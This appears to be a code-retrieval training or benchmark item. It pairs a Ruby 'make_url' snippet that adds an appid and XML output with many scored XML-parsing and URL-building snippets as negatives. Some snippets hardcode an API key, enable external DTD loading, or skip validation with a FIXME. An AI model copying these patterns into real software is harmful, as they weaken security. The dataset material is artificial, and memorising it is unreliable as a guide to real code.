"def fetch_errors\n return '' unless authorized?\n xml = REXML::Document.new(load_content)\n\n return 'no-results' if xml.elements.to_a(\"groups/group\").size.zero?\n\n contents = ''\n xml.elements.each(\"groups/group\") do |group|\n message = group.elements[\"error-message\"].text.to_s.gsub(/</, '<').gsub(/>/, '>')\n most_recent = Time.parse(group.elements[\"most-recent-notice-at\"].text)\n rails_env = group.elements[\"rails-env\"].text\n project_id = group.elements[\"project-id\"].text\n project = projects[project_id]\n id = group.elements[\"id\"].text.to_i\n\n contents << %(\n <p onclick=\"widget.openURL('#{link_to_error(id)}');\" title=\"Go to Airbrake\" id=\"exception-#{id}\" class=\"exception\">\n <strong>#{project} [#{rails_env}]</strong>\n <span class=\"timeago\">\n <abbr title=\"#{most_recent.utc.strftime(\"%FT%T%z\")}\">#{most_recent.strftime(\"%%Y-%m-%d ~ %I:%M%p\")}</abbr>\n </span>\n <a>#{message}</a>\n </p>\n )\n end\n\n contents\n end",
"def assert_xml(xml)\n expect(xml).not_to be_empty\n expect do\n assert REXML::Document.new(xml)\n end.not_to raise_error\nend",
"def error; state == 'failed' ? @doc['error'] : nil; end",
"def parse_xml xml\n result = XmlSimple.xml_in(xml, {'ForceArray' => false})\n result = result['result'] if result['result']\n result\n end",
"def error(el)\n att = el.attributes\n fe = XMLRPC::FaultException.new(att['code'].to_i, att['msg'])\n $stderr.puts \"ERR: #{fe.faultString} (#{fe.faultCode})\"\n raise fe\n end",
"def error_doc\n @error_doc ||= xml_doc @error\n end",
"def parse_error!; raise ParseError, \"Error while parsing %s:\\n %s\" % [self.class.to_s, html]; end",
"def parse_to_xml\n raise_if_error\n response_xml\n end",
"def parse_response(xml)\n raise NotImplementedError\n end",
"def xml(path, params = {}, env = {}, &block)\n params = {:api_key => '5c87948ac1979401'}.merge params\n xml = LibXML::XML::Parser.string(get(path + '.xml', params, env).body).parse\n if error = xml.find('/error').first\n message = error.find_first('message')\n puts\n puts \"Server Error: #{message.content}\"\n backtrace = error.find_first('backtrace')\n puts backtrace.content\n exit!\n end\n if block_given?\n yield xml\n else\n xml\n end\n end",
"def assert_valid_xml(res)\n assert_content_type res, \"application/xml\" \n end",
"def parse_xml\n\n raise \"parse_xml method has not been implemented in this class\"\n \n end",
"def send_xml(xml)\n connection.ProcessRequest(session, xml)\n rescue => e\n puts \"ERROR processing request:\\n#{xml}\"\n raise # Reraises the original error, only this way we got the xml output\n end",
"def is_xml_valid?(xml_text)\n return true #FIXME\n end",
"def output_response_error(response)\n # Parse response xml (see https://ocrsdk.com/documentation/specifications/status-codes)\n xml_data = REXML::Document.new(response)\n error_message = xml_data.elements[\"error/message\"]\n puts \"Error: #{error_message.text}\" if error_message\nend",
"def get_xml_of_type( asdcp_type, file, errors, errors_status )\n begin\n xml = Nokogiri::XML( open file )\n rescue Exception => e\n @logger.info \"#{ file }: #{ e.message }\"\n return false, errors, errors_status\n end\n\n unless xml.errors.empty?\n xml.errors.each do |error|\n # expected errors from non-xml\n next if error.message =~ /Start tag expected/ or error.message =~ /Document is empty/\n errors << \"Syntax error: #{ file }: #{ error }\"\n errors_status = true\n @logger.info errors.last\n end\n return false, errors, errors_status\n end\n\n if xml.root\n case xml.root.node_name\n when asdcp_type\n return xml, errors, errors_status\n else\n return false, errors, errors_status\n end\n else\n return false, errors, errors_status\n end\nend",
"def response_errors(xml, errors)\n for path, status in errors\n xml.response do\n xml.href \"#{scheme}://#{host}:#{port}#{URI.escape(path)}\"\n xml.status \"#{http_version} #{status.status_line}\"\n end\n end\n end",
"def check_xml(filename)\n # TODO verursacht bei rule2 ein problem\n document = LibXML::XML::Document.file(filename)\n schema = LibXML::XML::Schema.new(@fits_xsd)\n result = document.validate_schema(schema) do |message,flag|\n puts \"!!! error found: #{message}\"\n exit\n end\nend",
"def validate_xml f\n\n # make a document builder\n factory = javax.xml.parsers.DocumentBuilderFactory.newInstance\n factory.setNamespaceAware true\n factory.setAttribute \"http://xml.org/sax/features/validation\", true\n factory.setAttribute \"http://apache.org/xml/features/validation/schema\", true\n factory.setAttribute \"http://apache.org/xml/features/validation/schema-full-checking\", true\n factory.setAttribute \"http://apache.org/xml/features/nonvalidating/load-external-dtd\", true\n builder = factory.newDocumentBuilder\n\n # parse the xml to get any errors\n checker = Checker.new\n builder.setErrorHandler checker\n builder.parse f\n checker.results\n end",
"def decode(xml)\n if !xml.respond_to?(:read)\n xml = StringIO.new(xml)\n end\n ::XmlSimple.xml_in(xml, 'ForceArray'=>false)\n rescue\n case $!\n when parse_error\n raise $!\n else\n raise parse_error, \"Couldn't parse the given document.\"\n end \n end",
"def process_xml(xml)\n doc = REXML::Document.new xml\n @message_identifier = doc.text(\"//imsx_statusInfo/imsx_messageIdentifier\").to_s\n @code_major = doc.text(\"//imsx_statusInfo/imsx_codeMajor\")\n @code_major.downcase! if @code_major\n @severity = doc.text(\"//imsx_statusInfo/imsx_severity\")\n @severity.downcase! if @severity\n @description = doc.text(\"//imsx_statusInfo/imsx_description\")\n @description = @description.to_s if @description\n @message_ref_identifier = doc.text(\"//imsx_statusInfo/imsx_messageRefIdentifier\")\n @operation = doc.text(\"//imsx_statusInfo/imsx_operationRefIdentifier\")\n @score = doc.text(\"//readResultResponse//resultScore/textString\")\n @score = @score.to_s if @score\n end",
"def read_or_die\n # NOTE: XML::Reader#read returns false for EOF and raises an\n # exception if an error occurs.\n @reader.read\n rescue LibXML::XML::Error => ex\n raise OSM::APIBadXMLError.new(\"changeset\", xml, ex.message)\n end",
"def xml_doc\n @xml_doc ||= unless @xml.blank?\n Nokogiri.parse(@xml)\n else\n Nokogiri::XML::Document.new\n end\n rescue\n raise RuntimeError, 'expected document to parse'\n end",
"def error\n doc['error']\n end",
"def create_document(xml)\n begin\n REXML::Document.new(xml) \n rescue REXML::ParseException\n # nil\n end \nend",
"def parse xml\n begin\n output = Crack::XML.parse xml\n rescue Exception => e\n puts \"Exception parsing message #{e.message}\"\n return {}\n end\n end",
"def xml\n @entry ||= open(entry_url).read\n rescue => e\n raise RuntimeError, \"coult not open entry url: #{entry_url} : \\n#{e}\"\n end",
"def validateXML(xml_string) \n begin\n xsd_filename = \"#{ENV['POORTEGO_LOCAL_BASE']}/poortego/lib/core/poortego_transform/xml/PoortegoTransformResponse.xsd\"\n document = LibXML::XML::Document.string(xml_string)\n schema = LibXML::XML::Schema.new(xsd_filename)\n result = document.validate_schema(schema) #do |message,flag|\n # puts \"[MESSAGE] #{message}\"\n # puts \"[FLAG] #{flag}\"\n #end\n @validated = true\n rescue => e\n puts \"[XML Validation Failure] XML String: #{xml_string}\"\n puts \"[XML Validation Failure] LibXML error: #{e.message}\"\n puts \"[XML Validation Failure] Backtrace: #{e.backtrace}\"\n @validated = false \n end\n \n end",
"def error_xml(code, msg)\n xml = ''\n doc = Builder::XmlMarkup.new(:target => xml)\n \n doc.Response do\n doc.Errors do\n doc.Error do\n doc.Code code.to_s\n doc.Message msg\n doc.BoxUsage \"0\"\n end\n end\n \n doc.RequestID \"1234\"\n end\n \n xml\n end",
"def process_xml(xml)\n doc = REXML::Document.new xml\n @message_identifier = doc.text(\"//imsx_POXRequestHeaderInfo/imsx_messageIdentifier\")\n @lis_result_sourcedid = doc.text(\"//resultRecord/sourcedGUID/sourcedId\")\n\n if REXML::XPath.first(doc, \"//deleteResultRequest\")\n @operation = DELETE_REQUEST\n elsif REXML::XPath.first(doc, \"//readResultRequest\")\n @operation = READ_REQUEST\n elsif REXML::XPath.first(doc, \"//replaceResultRequest\")\n @operation = REPLACE_REQUEST\n @score = doc.get_text(\"//resultRecord/result/resultScore/textString\")\n end\n extention_process_xml(doc)\n end",
"def parse(xml)\n # \"<?xml version=\\\"1.0\\\"?><response><receipt>\".\n # \"<ReceiptId>Global Error Receipt</ReceiptId>\".\n # \"<ReferenceNum>null</ReferenceNum>\n # <ResponseCode>null</ResponseCode>\".\n # \"<ISO>null</ISO> \n # <AuthCode>null</AuthCode>\n # <TransTime>null</TransTime>\".\n # \"<TransDate>null</TransDate>\n # <TransType>null</TransType>\n # <Complete>false</Complete>\".\n # \"<Message>null</Message>\n # <TransAmount>null</TransAmount>\".\n # \"<CardType>null</CardType>\".\n # \"<TransID>null</TransID>\n # <TimedOut>null</TimedOut>\".\n # \"</receipt></response> \n\n response = {:message => \"Global Error Receipt\", :complete => false}\n\n xml = REXML::Document.new(xml) \n\n xml.elements.each('//receipt/*') do |node|\n\n response[node.name.underscore.to_sym] = normalize(node.text)\n\n end unless xml.root.nil?\n\n response\n end",
"def assert_xml_tag(xml, conditions)\n doc = HTML::Document.new(xml)\n assert doc.find(conditions), \n \"expected tag, but no tag found matching #{conditions.inspect} in:\\n#{xml.inspect}\"\nend",
"def extract_error_details response\n if\n (response.http_response.status >= 300 ||\n response.request_type == :complete_multipart_upload) and\n body = response.http_response.body and\n error = Core::XML::Parser.parse(body) and\n error[:code]\n then\n [error[:code], error[:message]]\n end\n end",
"def import_xml(xml)\n if xml.is_a?(String)\n xml.force_encoding(\"UTF-8\") if xml.respond_to? :force_encoding\n xml.scrub!\n doc = REXML::Document.new xml.gsub(/>[\\s\\t]*\\n*[\\s\\t]*</, \"><\").strip\n elsif xml.is_a?(REXML::Document)\n doc = xml\n else\n raise ArgumentError, \"Argument must be an REXML::Document or well-formed XML string\"\n end\n\n # Cut to the context object\n ctx = REXML::XPath.first(doc, \".//ctx:context-object\", {\"ctx\" => \"info:ofi/fmt:xml:xsd:ctx\"})\n\n ctx.attributes.each do |attr, val|\n @admin.each do |adm, vals|\n set_administration_key(adm, val) if vals[\"label\"] == attr\n end\n end\n ctx.to_a.each do |ent|\n if @@defined_entities.value?(ent.name)\n import_entity(ent)\n else\n import_custom_node(ent)\n end\n end\n end",
"def search_xml(search_path)\n\t\t\tself.xml.search(search_path)\n\t\trescue Exception => e\n\t\t\tputs \"Error searching XML: #{e}\"\n\t\tend",
"def valid_xml_element(name, options={:level => :error})\n\t\t\t\tvalidate(\"Invalid XML element '#{name}'\", options) { name.to_s.match(/^([^[:punct:]0-9<>]|_)[^<>\"']*/) }\n\t\t\tend",
"def parse_xml(xml)\n Nokogiri::XML(xml, &:noblanks)\n end",
"def on_error(id, token, stack)\n \traise SemanticError::new(token)\n\tend",
"def parse_xml(xml)\n while xml\n read_xml_element(xml)\n xml = xml.next\n end\n end",
"def extract_exceptions(doc)\n exceptions = []\n ctypes = get_complex_types(doc)\n raw_exceptions = exceptions_from_ctypes(ctypes)\n raw_exceptions.each do |raw_exception|\n exceptions << {:name => raw_exception.attributes['name'],\n :doc => get_element_doc(raw_exception),\n :base => get_element_base(raw_exception),\n :fields => get_element_fields(raw_exception)}\n end\n return exceptions\n end",
"def parse_xml(xml)\n new from_xml(xml)\n end",
"def error(response)\n throw response.http_error? ? response.http_error : response.soap_fault\n end",
"def error_message_from_invalid_xml(xml)\n xml.include?('INVALID ORIGIN') ? RATE_LIMIT_MESSAGE : INVALID_BODY_MESSAGE\n end",
"def extract_exceptional_element_text(file, name)\n DOMParserHelper.skip_ignore_chars(file)\n file.getc # drop >\n string = ''\n while (c = file.getc)\n if c == '<'\n cur_pos = file.pos\n if file.getc == '/' && name == DOMParserHelper.extract_string(file)\n DOMParserHelper.skip_ignore_chars(file)\n file.getc # drop >\n break\n end\n file.pos = cur_pos\n end\n string += c\n end\n return Text.new(string) unless string.empty?\n nil\n end",
"def load_from_xml(node)\n # Get all information from the root's children nodes\n node.children.each do |child|\n case child.name.to_s\n when 'id'\n @id = child.content.to_i\n when 'title'\n @title = child.content\n when 'image'\n check_image_node(child)\n when 'date'\n @date = Time.parse(child.content)\n when 'streamable'\n check_streamable_node(child)\n when 'size'\n @size = child.content.to_i\n when 'description'\n @description = child.content\n when 'duration'\n @duration = child.content.to_i\n when 'creator'\n @creator = child.content\n when 'url'\n @url = child.content\n when 'text'\n # ignore, these are only blanks\n when '#text'\n # libxml-jruby version of blanks\n else\n raise NotImplementedError, \"Field '#{child.name}' not known (#{child.content})\"\n end #^ case\n end #^ do |child|\n end",
"def load_unattend(xml_path)\n print_status(\"Reading #{xml_path}\")\n f = session.fs.file.new(xml_path)\n raw = \"\"\n until f.eof?\n raw << f.read\n end\n\n begin\n xml = REXML::Document.new(raw)\n rescue REXML::ParseException => e\n print_error(\"Invalid XML format\")\n vprint_line(e.message)\n return nil, raw\n end\n\n return xml, raw\n end",
"def intercept_parse_error\n yield\nrescue Enolib::ParseError => e\n e\nend",
"def get_xml(url, options = {})\n\t\t\tresponse = get_file(url, options)\n\t\t\tdoc = Hpricot.XML(response)\n\t\t\terrors = doc.search(\"*[@errCode]\")\n\t\t\tif errors.size > 0\n\t\t\t\terrors.each do |error|\n\t\t\t\t\traise Wowr::Exceptions::raise_me(error[:errCode], options)\n\t\t\t\tend\n\n elsif (doc%'achievements')\n\t\t\t return doc\n\t\t\telsif (doc%'dungeons')\n\t\t\t\treturn doc\n\t\t\telsif (doc%'page').nil?\n\t\t\t\traise Wowr::Exceptions::EmptyPage\n\t\t\telse\n\t\t\t\treturn (doc%'page')\n\t\t\tend\n\t\tend",
"def handle_exception(exception)\n diagnosis = SData::Diagnosis::DiagnosisMapper.map(exception)\n\n status diagnosis.http_status_code || 500\n content_type 'application/xml'\n\n diagnosis.to_xml(:root)\n exception.to_s\n end",
"def initialize_xml(xml, root_element)\n @xml = XMLElement.build_xml(xml, root_element)\n\n if OpenNebula.is_error?(@xml)\n @xml = nil\n else\n if NOKOGIRI\n if @xml.size == 0\n @xml = nil\n end\n else\n if @xml.name != root_element\n @xml = nil\n end\n end\n end\n @xml\n end",
"def valid_xml?(xml)\n create_document(xml) != nil\nend",
"def validation_hook_during_parsing(kd_el, xml_node)\n case xml_node.name\n when 'ParagraphStyleRange'\n validate_presence_of_paragraph_style(kd_el, xml_node)\n when 'CharacterStyleRange'\n validate_presence_of_character_style(kd_el, xml_node)\n else\n puts \"Unknown name: #{ xml_node.name}\"\n end\n log_removal_of_element(kd_el, xml_node)\n end",
"def parse_error(err)\n if err[:errors]\n err[:errors].values.flatten.map { |nested_err| parse_error(nested_err) }\n elsif err[:failed_attribute] == 'Required'\n parse_error_for_required_attr(err)\n else\n parse_error_default(err)\n end\n end",
"def from_xml_to_hash(xml)\n begin\n Hash.from_xml(xml)\n rescue REXML::ParseException => e\n {\n 'Response' => {\n 'Response_Code' => '01',\n 'Response_Text' => error_message_from_invalid_xml(xml)\n }\n }\n end\n end",
"def additional_information_xml(xml)\n\n end",
"def failed_authorize_response\n <<-XML\n <EngineDocList>\n <DocVersion DataType=\"String\">1.0</DocVersion>\n <EngineDoc>\n <OrderFormDoc>\n <Id DataType=\"String\">48b7024c-0322-3002-002a-0003ba9a87ff</Id>\n <Mode DataType=\"String\">Y</Mode>\n <Transaction>\n <Id DataType=\"String\">48b7024c-0323-3002-002a-0003ba9a87ff</Id>\n <Type DataType=\"String\">PreAuth</Type>\n </Transaction>\n </OrderFormDoc>\n <Overview>\n <CcErrCode DataType=\"S32\">1067</CcErrCode>\n <CcReturnMsg DataType=\"String\">System error.</CcReturnMsg>\n <DateTime DataType=\"DateTime\">1219953701297</DateTime>\n <Mode DataType=\"String\">Y</Mode>\n <Notice DataType=\"String\">Unable to determine card type. ('length' is '16')</Notice>\n <TransactionId DataType=\"String\">48b7024c-0323-3002-002a-0003ba9a87ff</TransactionId>\n <TransactionStatus DataType=\"String\">E</TransactionStatus>\n </Overview>\n </EngineDoc>\n </EngineDocList>\n XML\n end",
"def check_response_for_errors(response)\n # take no action if there are no errors\n return unless response.soap_fault? || response.http_error?\n\n response_hash = response.to_hash\n if response_hash[:fault] && response_hash[:fault][:detail]\n # we can parse the response, so check the specific error code\n error_code = response_hash[:fault][:detail][:code]\n\n # if we can recognize the specific code, dispatch the proper exception\n if ERROR_HANDLERS.has_key? error_code\n raise ERROR_HANDLERS[error_code], response_hash[:fault][:faultstring]\n end\n\n # otherwise return a well-defined error string with the code and error message\n raise UnknownError, \"#{response_hash[:fault][:detail][:code]} #{response_hash[:fault][:detail][:description]}: #{response_hash[:fault][:faultstring]}\"\n end\n\n # we can't parse the error, so just pass back the entire response body\n raise UnknownError, response.to_s\n end",
"def error\n raise StandardError, 'Error parsing input'\n end",
"def extract_values_from_xml\n debug(\"extract_values_from_xml xml: #{xml.inspect}\")\n self.extracted_value = (xml.nil? ? nil : extract_all_nodes(locator))\n end",
"def parse_error(error, req); end",
"def from_xml(xml)\n parsed_status = \"unknown\"\n\n if xml\n build_names = []\n xml.elements.each(\"feed/entry/title\") {|entry| build_names << entry.text}\n\n build_master = build_names.find {|build_name| build_name.include?(@build_name) }\n parsed_status = build_master.match(/\\(.+\\)/).to_s\n end\n\n case parsed_status\n when \"(stable)\"\n \"stable\"\n when \"(back to normal)\"\n \"stable\"\n when \"(?)\"\n \"building\"\n when \"(aborted)\"\n \"aborted\"\n when /broken/\n \"broken\"\n when \"unknown\"\n \"unknown\"\n else\n \"failed\"\n end\n\n end",
"def valid?\n @xml.xpath('//weather/problem_cause').size == 0\n end",
"def identify_error\n begin\n yield\n rescue => ex\n ex.message.insert(0, \"#{@id} error: \")\n raise\n end\n end",
"def parser_wrapper\n yield\n rescue ::Occi::Core::Errors::ParsingError => ex\n logger.error \"Request parsing failed: #{ex.class} #{ex.message}\"\n raise Errors::ParsingError, ex.message\n end",
"def get_xml_of_type( asdcp_type, file )\n begin\n xml = Nokogiri::XML( open file )\n rescue Exception => e\n @logger.info \"#{ file }: #{ e.message }\"\n return FALSE\n end\n unless xml.errors.empty?\n xml.errors.each do |error|\n # expected errors from non-xml\n next if error.message =~ /Start tag expected/ or error.message =~ /Document is empty/\n @logger.info \"Syntax error: #{ file }: #{ error }\"\n end\n return FALSE\n end\n\n case xml.root.node_name\n when asdcp_type\n return xml\n else\n return FALSE\n end\nend",
"def find_solr_error(response)\n return nil unless response && response.body && response.content_type&.start_with?(\"application/json\")\n\n parsed = JSON.parse(response.body)\n\n parsed && parsed.dig(\"error\", \"msg\")\n rescue JSON::ParserError\n return nil\n end",
"def valid?\n # Clear out errors\n @errors = []\n \n errors.push \"Tuščias XML. Gal įrašytum ką nors?...\" if params[:xml].blank?\n errors.push \"Padidink šriftą\" if params[:size].to_i <= 0\n errors.push \"Padidink paveiksliuko plotį\" if params[:width].to_i <= 0 \n return false unless errors.blank?\n \n @document = XML::Parser.string(self.class.normalize_xml(params[:xml])).parse \n true\n rescue LibXML::XML::Error => e\n errors.push \"Klaida parsinant XML: #{e.message}\"\n false\n end",
"def parse_address_verification_response(xml)\n i = 0\n list_of_verified_addresses = []\n (Hpricot.parse(xml)/:address).each do |address|\n i+=1\n h = {}\n # Check if there was an error in an address element\n if address.search(\"error\") != []\n return \"Address number #{i} has the error '#{address.search(\"description\").inner_html}' please fix before continuing\"\n end\n if address.search(\"ReturnText\") != []\n h[:verified] = false\n else\n h[:verified] = true\n end\n address.children.each { |elem| h[elem.name.to_sym] = elem.inner_text unless elem.inner_text.blank? }\n list_of_verified_addresses << h\n end\n #Check if there was an error in the basic XML formating\n if list_of_verified_addresses == []\n error = Hpricot.parse(xml)/:error\n return error.search(\"description\").inner_html\n end\n return list_of_verified_addresses\n end",
"def parse_xml(xml)\n @xml = xml.to_s.gsub(/\\s+/, \" \").strip\n @doc = XML::Document.parse_string(@xml).root\n\n # the query metadata\n @query_time = @doc.at('/crossQueryResult')['queryTime']\n @total_docs = @doc.at('/crossQueryResult')['totalDocs']\n @start_doc = @doc.at('/crossQueryResult')['startDoc']\n @end_doc = @doc.at('/crossQueryResult')['endDoc']\n @docs_per_page = @doc.at(\"/crossQueryResult/query\")['maxDocs'] rescue DEFAULT_DOCS_PER_PAGE\n\n @query = @doc.at('/crossQueryResult/query').to_s\n # the docHits\n # TODO deal with PDFS. This currently filters them from the results\n @doc_hits = @doc.search('./docHit').collect { |h| XTF::Result::Element::DocHit.create(h, @query) }.compact\n\n @facets = @doc.search('/crossQueryResult/facet').collect { |f| XTF::Result::Element::Facet.new(f, @query) }\n end",
"def check_for_xml \n return true unless is_xml_request? \n return(render(:text => '<Response>Error: bad xml</Response>')) unless @request.env['RAW_POST_DATA'] && !@request.env['RAW_POST_DATA'].strip.empty? \n\n # headers['Content-Type'], NOT headers['CONTENT_TYPE'] \n @response.headers['CONTENT_TYPE'] = 'text/xml; charset=utf-8' \n @response.headers['Content-Type'] = 'text/xml; charset=utf-8' \n\n xml = REXML::Document.new(request.env['RAW_POST_DATA']) \n login_user(xml) \n return(render(:text => '<Response>bad username or password</Response>') and false) unless current_user \n\n begin \n (delete_trust(xml) and return false) if is_delete_trust? \n (create_trust_xml(xml) and return false) if is_create_trust? \n (xml_profile_list(xml) and return false) if is_profile_list? \n (xml_query_profile(xml) and return false) if is_query_profile? \n\n params.merge!(get_params_from_xml(xml)) \n\n\t \t create_trust_if_necessary(xml) \n\t \trescue \n \t return(render(:text => '<Response>Error: bad xml format.</Response>')) \n end\n end",
"def test_more\n xmlsource = fixture_path(\"testsrc.xml\")\n xpathtests = fixture_path(\"xp.tst\")\n\n doc = File.open(xmlsource) {|f| REXML::Document.new(f) }\n #results = \"\"\n results = REXML::Document.new\n results.add_element \"test-results\"\n File.foreach(xpathtests) do |line|\n line.strip!\n begin\n doc.root\n #puts \"#\"*80\n #print \"\\nDoing #{line} \" ; $stdout.flush\n doc.elements.each(line) do |el|\n #print \".\" ; $stdout.flush\n results.root << el.clone\n #results << el.to_s\n end\n #ObjectSpace.garbage_collect\n GC::start\n rescue Exception => z\n #puts \"\\n'#{line}' failed\"\n fail(\"Error on line #{line}:\\n#{z.message}\\n\"+z.backtrace[0,10].join(\"\\n\"))\n #results.root.add_element( \"error\", {\"path\"=>line}).text = z.message+\"\\n\"+z.backtrace[0,10].join(\"\\n\")\n #results << \"<error path='\"+line+\"'>\"+z.message+\"</error>\"\n end\n end\n end",
"def load_error!(msg, path, node)\n line = node.start_line + 1\n column = node.start_column\n raise \"#{path}:#{line}:#{column}: error: #{msg}\"\n end",
"def error_html\n \"//div[@class='error']\"\n end",
"def error_url\n error_url_node = source_node.at(\"Error\")\n URI.parse(error_url_node.content.strip) if error_url_node\n end",
"def parsing_error(data, exception)\n $stderr.puts \"parsing error:\\n#{exception.message}\"\n end",
"def handle_errors(response)\n if response.soap_fault?\n exception = exception_for_soap_fault(response)\n raise exception\n end\n if response.http_error?\n raise AdsCommon::Errors::HttpError,\n \"HTTP Error occurred: %s\" % response.http_error\n end\n end",
"def success?\n return if status < 400 || body.to_s.empty?\n \n # Errors are XML\n doc = Util::XmlDocument.new(body)\n \n self.error_key = doc.xpath('//Error/Code').first.text\n self.error_message = doc.xpath('//Error/Message').first.text if doc.xpath('//Error/Message').first\n \n error_klass = instance_eval(\"Error::#{error_key}\") rescue nil\n \n if error_klass.nil?\n raise Error::Unknown, \"HTTP Response: #{status}, Body: #{body}\"\n else\n raise error_klass.new(error_key, error_message)\n end\n end",
"def parse(xml)\n raise NotImplementedError, \"inheritor should define #{__method__}\"\n end",
"def get_xml(url)\n Nokogiri::XML.parse(get(url), nil, nil, Nokogiri::XML::ParseOptions::STRICT)\n end",
"def error\n return if success? unless parse_error?\n @data['error'] || @data['message']\n end",
"def extract_values_from_xml\n debug(\"Field#extract_values_from_xml xml: #{xml.inspect}\")\n unless extracted_value || xml.nil? || locator.nil?\n value = dereference? ? dereference(extract_first_node(locator)) : extract_node_value(locator)\n # since we have both xml and locator , a nil is the real return value\n # and should be wrapped just like any other\n self.extracted_value = FieldValue.new(value)\n end\n extracted_value\n end"
] |
[
"0.75754756",
"0.7313642",
"0.7299152",
"0.7299152",
"0.7299152",
"0.7299152",
"0.66606736",
"0.64846176",
"0.63812006",
"0.6370814",
"0.63386154",
"0.62818575",
"0.6245293",
"0.6214026",
"0.6111986",
"0.61062044",
"0.5987903",
"0.5764052",
"0.5711715",
"0.56391513",
"0.56246144",
"0.56237787",
"0.5562904",
"0.5556568",
"0.5551029",
"0.5525412",
"0.5435387",
"0.5421082",
"0.54061145",
"0.53734225",
"0.53013283",
"0.529135",
"0.528402",
"0.5274619",
"0.5272461",
"0.5258637",
"0.5257122",
"0.52161723",
"0.5209252",
"0.5197522",
"0.5174426",
"0.51689464",
"0.5151532",
"0.5149006",
"0.5089674",
"0.50652933",
"0.50642186",
"0.5053591",
"0.49788174",
"0.4978562",
"0.4969172",
"0.49633133",
"0.49614635",
"0.49481535",
"0.49281043",
"0.49009377",
"0.4895374",
"0.4894009",
"0.48915768",
"0.48879743",
"0.4884147",
"0.4856645",
"0.4853243",
"0.4817903",
"0.48154277",
"0.48142287",
"0.48078296",
"0.48015982",
"0.4788374",
"0.47832122",
"0.4780085",
"0.47694322",
"0.47572157",
"0.47565317",
"0.47473407",
"0.4744486",
"0.47376263",
"0.47358757",
"0.47344688",
"0.47164336",
"0.46982852",
"0.4693308",
"0.46893135",
"0.46891734",
"0.4687016",
"0.46867377",
"0.4681414",
"0.46807298",
"0.46784922",
"0.46761885",
"0.46658987",
"0.4649985",
"0.46450275",
"0.46415362",
"0.4641364",
"0.4622543",
"0.46222323",
"0.46216297",
"0.46167853",
"0.46067548"
] |
0.74455565
|
1
|
Creates a URL from the Hash +params+. Automatically adds the appid and sets the output type to 'xml'.
|
def make_url(params) #:nodoc:
params[:appid] = @appid
params[:output] = 'xml'
super params
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def make_url(params) #:nodoc:\n params[:key] = @key\n params[:output] = 'xml'\n\n super params\n end",
"def make_url(params) #:nodoc:\n super params.merge(:output => \"xml\", :oe => 'utf8', :ll => @ll, :spn => @spn, :sensor => false)\n end",
"def make_url(method, params)\n params[:key] = @key\n params[:output] = 'xml'\n\n super method, params\n end",
"def build_url(params_hash)\n param_string = '?' + params_hash.merge(:LicenseKey => @license_key).map { |k, v| \"#{::CGI.escape(k.to_s)}=#{::CGI.escape(v.to_s)}\" }.sort.join('&')\n URI.parse(File.join(endpoint_url, @name + param_string))\n end",
"def generate_url(url, params = {})\n uri = URI(url)\n if Settings.get_params_char == '#'\n uri.fragment = params.to_query\n else\n uri.query = params.to_query\n end\n uri.to_s\n end",
"def generate_url(url, params = {})\n uri = URI(url)\n uri.query = params.to_query\n uri.to_s\n end",
"def make_url(params)\n escaped_params = params.sort_by { |k,v| k.to_s }.map do |k,v|\n \"#{URI.escape k.to_s}=#{URI.escape v.to_s}\"\n end\n\n url = @url.dup\n url.query = escaped_params.join '&'\n return url\n end",
"def url(name, *params)\n params.map! do |param|\n if param.is_a?(Hash)\n param[:format] = param[:format].to_s if param.has_key?(:format)\n param.each { |k,v| param[k] = v.to_param if v.respond_to?(:to_param) }\n end\n end\n url = router.generator.generate(name, *params)\n uri_root != \"/\" ? uri_root + url : url\n end",
"def build_url(query_params: nil)\n url = [add_version(''), *@url_path].join('/')\n url = build_query_params(url, query_params) if query_params\n URI.parse(\"#{@host}#{url}\")\n end",
"def generate_link(params)\n q = params.reduce([]) do |m,(k,v)|\n if v.is_a?(Hash)\n m + v.reduce([]) do |mm,(kk,vv)|\n mm + [ \"#{k}[#{kk}]=#{URI.escape(vv.to_s)}\" ]\n end\n else\n m + [ \"#{k}=#{URI.escape(v.to_s)}\" ]\n end\n end\n\n q.empty? ?\n @request.uri :\n \"#{@request.uri}?#{q.join('&')}\"\n end",
"def build_url(params)\n \"#{@base_url}?#{params.to_query}\"\n end",
"def generate_url(url, params = {})\n uri = URI(url)\n\n res = \"#{uri.scheme}://#{uri.host}\"\n res += \":#{uri.port}\" if (uri.port and uri.port != 80 and uri.port != 443)\n res += \"#{uri.path}#\" if uri.path\n res += \"#{uri.fragment}\" if uri.fragment\n res += \"?#{params.to_query}\"\n\n return res\n end",
"def build_url_request(params)\n logger.debug(\"build_url_request: params #{params.inspect}\")\n #add constants\n #add key\n params << @public_key_param \n # need to encode rest of the values\n encoded = encode_params(params)\n #encode the URL\n url = @api_path + '?' +encoded.join('&')\n logger.debug(\"build_url_request: url is #{url}\")\n url\n end",
"def url\n Addressable::URI.new :scheme => 'http',\n :host => endpoint.host,\n :path => '/onca/xml',\n :query_values => parameters\n end",
"def url(params)\n \"%s%s\" % [config['endpoint'], query_string(params)]\n end",
"def make_url(path, params, feed='')\n feed = '/' + feed unless feed.empty?\n \"#{BASE_URL}#{path}#{feed}?#{URI.encode_www_form(params)}\"\nend",
"def generate_url(url, params = {})\n uri = URI(url)\n\n res = \"#{uri.scheme}://#{uri.host}\"\n res += \":#{uri.port}\" if (uri.port and uri.port != 80 and uri.port != 443)\n res += \"#{uri.path}\" if uri.path\n res += \"#{uri.fragment}\" if uri.fragment\n res += \"?#{params.to_query}\"\n\n return res\n end",
"def build_url(path, params = {})\n \"#{self.class.endpoint}#{path}?#{Rack::Utils.build_query(params.merge(:key => api_key.to_s))}\"\n end",
"def to_uri(url, params = {})\n return \"\" if url.blank?\n\n var_values = params.inject(\"\") { |str, h| str += \"#{h[0]}=#{h[1]}&\" }\n url += \"?\" + URI.encode(var_values.chomp(\"&\")) if !var_values.blank?\n \n url\n end",
"def construct_target_url(api, query_params)\r\n\t\t\t\tpath = %(#{URL}/#{api}/#{VERSION})\r\n\t\t\t\tquery_string = %(?#{query_params}&apikey=#{API_KEY})\r\n\r\n\t\t\t\tURI.encode(path+query_string)\r\n\t\t\tend",
"def request_url(command, params)\n url = \"http://www.openaustralia.org/api/#{command}?key=#{@key}&output=xml\"\n params.each do |k,v|\n key = CGI::escape(k.to_s)\n value = CGI::escape(v.to_s)\n url += \"&#{key}=#{value}\"\n end\n url\n end",
